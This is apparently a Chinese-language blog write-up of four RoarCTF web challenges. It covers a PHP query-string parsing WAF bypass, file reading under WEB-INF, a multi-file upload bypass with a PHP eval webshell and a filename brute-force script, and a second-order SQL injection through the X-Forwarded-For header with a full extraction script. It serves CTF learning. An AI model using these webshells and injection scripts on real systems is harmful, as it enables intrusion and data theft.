前言:

没错又是疯狂自闭的一场比赛,说白了就是自己太菜,既然当初做不出来就好好分析一下wp吧,看看是哪些地方欠缺

easy_calc:

通过查看源代码,我们可以发现有calc.php这个文件

发现这里通过正则表达式对一些特殊符号进行了过滤,但是坑定不可能这么简单是吧!坑定另有蹊跷!我们输入一些字母试试看。

果不其然!不可能这么轻松,我们这里看一下弹窗的内容,发现“这啥?算不来!”在我们之前的php代码中没有出现过,说明坑定有一个隐藏的waf来对我们对输入进行一个判断和拦截!

在这里通过 — 利用PHP的字符串解析特性Bypass (感谢wp

https://www.freebuf.com/articles/web/213359.html

简单概述一下就是: $_GET $POST 中 我们会把/?foo=bar变成Array([foo] => “bar”),但是查询字符串在解析的过程中会将某些字符删除或用下划线代替。

举个例子:?%20num[id=1 最终在php解析对过程中会变成如下

可以看到 我们这里对 %20 和 [ 最终解析下 %20没了,[被解析成了_ ,所以我们可以通过这个性质来进行bypass。上面这篇文章都作者写的非常详细,并且举例了各种情况,非常建议去看一下。

所以通过上面都方法,我们可以看到这里phpinfo成功都爆出来了。说明我们有可能可以通过命令执行来获取flag的内容。但是试了试好像 ‘ 被过滤了,所以需要用chr来进行转换绕过。但是么,我人又懒,一个个对应ascii表我寻思着也太麻烦了吧。所以就写个脚本好了~

user_input = input("translate:")
result = ""
for value in user_input:
    #value = "".join(value)
    value = "chr(" + str(ord(value))+")" + "."
    result = result + value
print(result.strip("."))

好了,准备一切就绪我们开始吧!我们首先看看当前文件夹下有哪些

我们直接查看根目录下的文件吧 /calc.php?%20num=var_dump(scandir(chr(47)))

然后我们可以看到f1agg,所以flag应该就在这里面吧,话不多说试试就试试!

然后我们通过php的file_get_contents函数来进行读取文件

file_get_contents:将整个文件读入一个字符串

然后我们只要查看 /f1agg 便可以

/calc.php?%20num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

还有一种方法是通过进制转换,后面应该会补充吧…..

总结:

这道题的核心点我觉得就是那个利用php字符串解析规则bypass,利用chr把引号过滤绕过也不少见,后面就是正常的php命令执行

easy_java

看到登录页面,看wp上面说 admin/admin888,登录进去的页面

图片的路径为/images/img1.jpg

看似好像没什么我们回去看看,之前登录框有个help好像没有看

可以看到这里的help应该有点名堂的

正常情况下,应该直接就下载了,但是这里好像并没有下载。这个GET类型,看了wp上面说是POST类型,所以在burp下我们将GET变成POST

这里如果直接把GET 改成 POST 会报500的,这是因为我们没有添加 Content-Type:application/x-www-form-urlencoded

这是post请求的两种编码格式中的一个,形式就是 key=value 这样

这篇文章说的比较好,可以去看看 https://www.jianshu.com/p/53b5bd0f1d44我这里就不过多阐述了。

ok,我们重新看上面那张截图,通过修改http的请求方法我们可以看出,这样可以下载图片了,那么这样的话我们是不是可以去读取别的文件了呢?在我们正式行动之前我们需要捋清楚,这是 java web

WEB-INF目录结构:

1.它是java的web应用的安全目录。所谓安全就是客户端无法访问,只有服务端可以访问的目录。

2.web.xml项目部署文件。

3.classes文件夹,用以防止*.class文件

4.lib文件夹,用于存放需要的jar包。

WEB-INF是Java的WEB应用的安全目录。所谓安全就是客户端无法访问,只有服务端可以访问的目录。

如果想在页面中直接访问其中的文件,必须通过 web.xml 文件对要访问的文件进行相应映射才能访问。

所以我们先去访问一下/WEB-INF/web.xml

我们可以在响应信息中看到flag

 /WEB-INF/classes/ 包含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中。

所以我们根据对应的路径进行读取就可以了

这样我们就可以得到flag,base64解码之后就可以获得flag了

Simple Upload

进到页面就看到了源码,是thinkphp的框架,题目是simple upload 应该就是要利用到文件上传漏洞,但是貌似没有直接的上传点,先简单的看一下这个页面,看看可不可以弄到什么版本号…

简单的看了下好像f12,network里面没有什么特别有用的信息。

(补充原理和理解 http://网址/index.php/Home/Index/advert

访问 /index.php/sodkn (index.php/后面的乱输就行,这样才会有页面错误)

这样就可以看到这里thinkphp的版本为 3.2.4

然后我们下载对应对源码进行查看 下载地址:https://github.com/top-think/thinkphp

找到Upload.class.php文件

看了源码之后其实就可以知道       

$upload->allowExts  = array(‘jpg’, ‘gif’, ‘png’, ‘jpeg’);// 设置附件上传类型

这行代码是形同虚设,因为在thinkphp中对upload这个对象里面根本没有allowExts这个方法..所以不用管就可以了~

找到对应的upload方法进一步查看。

这里我们可以看到如果upload的参数为空的话为多文件上传,整个$_FILES数组的文件都会上传保存

通过使用 PHP 的全局数组 $_FILES,你可以从客户计算机向远程服务器上传文件。

$uploadFile = $_FILES['file'] ;
        
        if (strstr(strtolower($uploadFile['name']), ".php") ) {
            return false;
        }

题目中只限制了$_FILES[file]的上传后缀,也只给出$_FILES[file]上传后的路径,那我们上传多文件就可以绕过php后缀限制。所以只要我们另一个文件的表单名字不是file就可以了,如下图

我们观察这个数据包里面的第二个1.php文件那块,name=file2,所以这个意思就是表单名字不是file的意思。这样我们就可以进行文件上传了。

但是通过进一步查看源码可以发现我们上传的文件是通过uniqid函数来生成的

同时上传txt文件跟php文件,txt上传后的文件名跟php的文件名非常接近,遍历爆破txt文件名后三位0-9 a-f的文件名,就能猜出php的文件名

脚本如下:

import requests
import itertools
import re
session = requests.Session()
# thinkphp默认路由为pathinfo路径形式 → http://网址/index.php/分组/控制器/操作方法
url = 'http://fb59e478-81ad-4f1b-91a0-42d76d09a023.node3.buuoj.cn/index.php/home/index/upload'
files = {'file': ('a.txt', 'a'), 'files':('a.php', '<?php @eval($_POST["t"]); ?>')}
res = session.post(url, files=files).text

print(res)

pattern = re.compile(r'(\d+\w+)\.')
pattern2 = re.compile(r'\/(.*?)\\')
path = pattern2.findall(res)
result = "".join(pattern.findall(res))
# print(path)

name = result[:10] # 忽略后三位文件名

part1 = "".join(path[0])
part2 = "".join(path[1])
part3 = "".join(path[2])

# print(name)
url = "http://fb59e478-81ad-4f1b-91a0-42d76d09a023.node3.buuoj.cn/" + part1 + "/" + part2 + "/" + part3 + "/"
dic = '0123456789abcdef'
for i in itertools.permutations(dic, 3):
    u = url + name + ''.join(i) + '.php'
    s = session.get(u)
    print(str(u) +":" +  str(s.status_code))
    if s.status_code == 404:
        pass
    else:
        print(u, s.text)
        break

然后就可以获取到flag了

总结:

我们这里通过上传多个文件来进行绕过题目中的file后缀限制,特别注意的就是我们上传的一句话木马的表单名字一定不能是file。然后又由于uniqid函数是按照时间的所以我们可以通过脚本进行爆破。

参考链接:官方wp

http://www.gtfly.top/2019/10/19/RoarCTF-wp.html#simple-upload

https://www.cnblogs.com/20175211lyz/p/11729027.html

Online Proxy

赵总出的这道题目考察了 X-Forwarded-For 伪造,以及sql的二次注入。

X-Forwarded-For 本来的作用是为了显示出 请求端真实的ip。

查看源码

<!-- Debug Info: 
 Duration: 0.06725001335144 s 
 Current Ip: 174.0.0.2  -->

可以看到 current ip 显示了当前的ip,利用postman尝试X-Forwarded-For伪造。

我们通过在http头里面构造了一个 值的KpLi0rn的包进行发送,我们可以发现,现在的current ip 变成了KpLi0rn

尝试查看是否有注入 我们发送一个 1′ or ‘1 的数据包过去 ,结果如下

欢迎使用 Online Proxy。使用方法为 /?url=,例如 /?url=https://baidu.com/。<br>
为了保障您的使用体验,我们可能收集您的使用信息,这些信息只会被用于提升我们的服务,请您放心。<br>
<!-- Debug Info: 
 Duration: 0.055525064468384 s 
 Current Ip: 1' or '1 
Last Ip: KpLi0rn -->

我们的目的是需要把 这个 1′ or ‘1 写入到数据库中从而构成二次注入 。

再发送一个值为KpLi0rn的数据包

<!-- Debug Info: 
 Duration: 0.04669713973999 s 
 Current Ip: KpLi0rn 
Last Ip: 1' or '1 -->

这里为什么还是 1′ or ‘1 其实这是 1’ or ‘1 已经写到数据库里面了,但是由于服务端判断前后两次的ip不一样,所以直接显示之前的ip了,所以我们后面只需要再发一次同样的包,由于前后两个包的数值都是KpLi0rn,所以last ip 需要从数据库中读取之前的ip,这时就可以验证有sql二次注入,结果如下。

欢迎使用 Online Proxy。使用方法为 /?url=,例如 /?url=https://baidu.com/。<br>
为了保障您的使用体验,我们可能收集您的使用信息,这些信息只会被用于提升我们的服务,请您放心。<br>
<!-- Debug Info: 
 Duration: 0.041491985321045 s 
 Current Ip: KpLi0rn 
Last Ip: 1 -->

我们可以看到这里last ip 变成了 1 。接下来使用python自动化就可了,这里先放赵总的脚本。



import requests

target = "http://node3.buuoj.cn:28546/"

def execute_sql(sql):
    print("[*]请求语句:" + sql)
    return_result = ""

    payload = "0'|length((" + sql + "))|'0"
    session = requests.session()
    r = session.get(target, headers={'X-Forwarded-For': payload})
    r = session.get(target, headers={'X-Forwarded-For': 'glzjin'})
    r = session.get(target, headers={'X-Forwarded-For': 'glzjin'})
    start_pos = r.text.find("Last Ip: ")
    end_pos = r.text.find(" -->", start_pos)
    length = int(r.text[start_pos + 9: end_pos])
    print("[+]长度:" + str(length))

    for i in range(1, length + 1, 5):
        payload = "0'|conv(hex(substr((" + sql + ")," + str(i) + ",5)),16,10)|'0"

        r = session.get(target, headers={'X-Forwarded-For': payload})
        r = session.get(target, headers={'X-Forwarded-For': 'glzjin'})
        r = session.get(target, headers={'X-Forwarded-For': 'glzjin'})
        start_pos = r.text.find("Last Ip: ")
        end_pos = r.text.find(" -->", start_pos)
        result = int(r.text[start_pos + 9: end_pos])
        return_result += bytes.fromhex(hex(result)[2:]).decode('utf-8')

        print("[+]位置 " + str(i) + " 请求五位成功:" + bytes.fromhex(hex(result)[2:]).decode('utf-8'))

    return return_result


# 获取数据库
print("[+]获取成功:" + execute_sql("SELECT group_concat(SCHEMA_NAME) FROM information_schema.SCHEMATA"))

# 获取数据库表
print("[+]获取成功:" + execute_sql("SELECT group_concat(TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA = 'F4l9_D4t4B45e'"))

# 获取数据库表
print("[+]获取成功:" + execute_sql("SELECT group_concat(COLUMN_NAME) FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = 'F4l9_D4t4B45e' AND TABLE_NAME = 'F4l9_t4b1e' "))

# 获取表中内容
print("[+]获取成功:" + execute_sql("SELECT group_concat(F4l9_C01uMn) FROM F4l9_D4t4B45e.F4l9_t4b1e"))

后面会补充自己的python脚本。

发表评论

电子邮件地址不会被公开。 必填项已用*标注